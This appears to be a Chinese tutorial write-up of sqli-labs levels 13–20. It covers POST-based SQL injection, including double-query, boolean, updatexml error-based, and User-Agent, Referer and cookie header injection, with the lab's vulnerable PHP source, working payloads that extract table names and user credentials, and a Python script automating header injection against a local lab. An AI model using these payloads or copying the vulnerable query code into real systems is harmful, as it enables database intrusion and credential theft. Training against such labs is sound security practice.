1. 程式人生 > 實用技巧 >sqli-labs less13-20(各種post型頭部注入)

sqli-labs less13-20(各種post型頭部注入)

less-13 POST型雙查詢注入

less-14 POST型雙查詢注入

less-15 POST型布林注入

less-16 POST型布林注入

less-17 POST型報錯注入(updatexml)

less-18 POST型user-agent注入

less-19 POST型referer注入

less-20 POST型cookie注入


less-13

POST型雙查詢注入

過程:
  1. 判斷欄位型別,判斷欄位個數
  • ') or 1=1#
  • ') or 1=1 order by 2#
  1. 雙查詢注入
  • ') union select count(), concat(database(), "--", floor(rand(0)
    2)) as a from information_schema.tables group by a #
  1. 資料庫知道了爆表名列名得資料一條龍

less-14

POST型雙查詢注入

過程:

與less-13閉合方式不同,less-14用雙引號閉合

  • " union select count(), concat((select concat(username, "::::::",password) from users limit 1,1), "--", floor(rand(0)2)) as a from information_schema.tables group by a #

less-15

POST型布林注入

過程:

  1. 判斷閉合方式
    不管輸入什麼 頁面變化只有failed和seccessfully
  • ' or 1=1#
  • " or 1=1#
  1. 之後流程跟get型布林盲注流程一樣

less-16

POST型布林注入

過程:

  1. 判斷閉合方式

過程跟less-15一樣 閉合方式變成')

less-17

POST型報錯注入(updatexml)

原始碼:

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}
 
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}
 
		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

學要學習的函式get_magic_quotes_gpc()

當magic_quotes_gpc=On的時候,函式get_magic_quotes_gpc()就會返回1

當magic_quotes_gpc=Off的時候,函式get_magic_quotes_gpc()就會返回0

magic_quotes_gpc函式在php中的作用是判斷解析使用者提示的資料,如包括有:post、get、cookie過來的資料增加轉義字元“\”,以確保這些資料不會引起程式,特別是資料庫語句因為特殊字元引起的汙染而出現致命的錯誤。

在magic_quotes_gpc = On的情況下,如果輸入的資料有

單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字元)等字元都會被加上反斜線。

stripslashes()刪除由 addslashes() 函式新增的反斜槓

ctype_digit()判斷是不是數字,是數字就返回true,否則返回false

mysql_real_escape_string()轉義 SQL 語句中使用的字串中的特殊字元。

intval() 整型轉換

這一關中不能對username下手 要從passwordd開始

過程:

17關對username進行了嚴格的過濾

注入的格式:

  • admin' or updatexml(1, (concat('#',(payload))), 1) #

payload可以換成需要查詢的函式

  1. 資料庫名
  • admin' or updatexml(1, concat('#', database()), 1) #
  1. 表名
  • updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #

less-18

POST型user-agent注入

什麼是user-agent

user-agent參考博文

原始碼:

// uagent的接收是未經過嚴格過濾的
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	// 此處表明我們輸入的uname和passwd是經過後臺嚴格檢驗的,因此想從這裡注入是很難的。
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);

	//logging the connection parameters to a file for analysis.	
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			// 這裡有一個插入sql語句,而uagent也沒有嚴格過濾,我們可以從這裡入手注入
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}

	}

uname和passwd都經過個嚴格過濾,沒有注入點

過程:

  1. 輸入

admin admin

看到user-agent的回顯

  1. 抓包修改user-agent改為payload
  • 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
  • ' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1, 1) #
  • ' or updatexml(1, concat('#', (select group_concat(username) from users)), 0), 1, 1) #
  • ' or updatexml(1, concat('#', (select group_concat(password) from users)), 0), 1, 1) #

使用python指令碼

import requests
import re


class Header_injection():
    def __init__(self, headers, url):
        self.headers = headers
        self.url = url

    def injection(self):
        # 配置post提交資料
        data = {'uname': 'admin', 'passwd':'admin'}

        for header in self.headers:
            # 構造請求頭
            headers = {
                "User-Agent": header
            }

            # 以post方式提交請求
            response = requests.post(url=url, headers = headers, data=data).text

            # 使用正則表示式對返回HTML進行過濾,得到最終結果
            result = re.search('XPATH syntax error:(.*?)<br>', response)

            # 輸出結果
            print("The answer is %s" % result.group(1))


if __name__ == '__main__':

    headers = [
        "' or updatexml(1, concat('#', database()), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema='security')), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select concat(username,':::', password) from users limit 0, 1)), 0), 1, 1) #",
    ]
    url = "http://localhost:7788/sqli/Less-18/"

    h = Header_injection(headers, url)
    h.injection()

less-19

POST型referer注入

什麼是rederer

referer的參考博文

過程:

  1. 輸入admin admin有回顯 猜測是rederer注入

原始碼:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your Referer is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg" />';
			echo "<br>";
			
			}

  • ' or updatexml(1, concat('#', database()), 0), 1) #

  • ' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1) #

  • ' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security")), 0), 1) #

  • ' or updatexml(1, concat('#', (select concat(id, username, password) from users limit 0,1)), 0), 0) #

less-20

POST型cookie注入

cookie是什麼

cookie參考博文

過程:

  1. 利用cookie,瀏覽器每次向伺服器傳送請求的時候,如果本地存有相關的cookie資訊,則會將cookie一併傳送給伺服器

通過burp抓包修改cookie值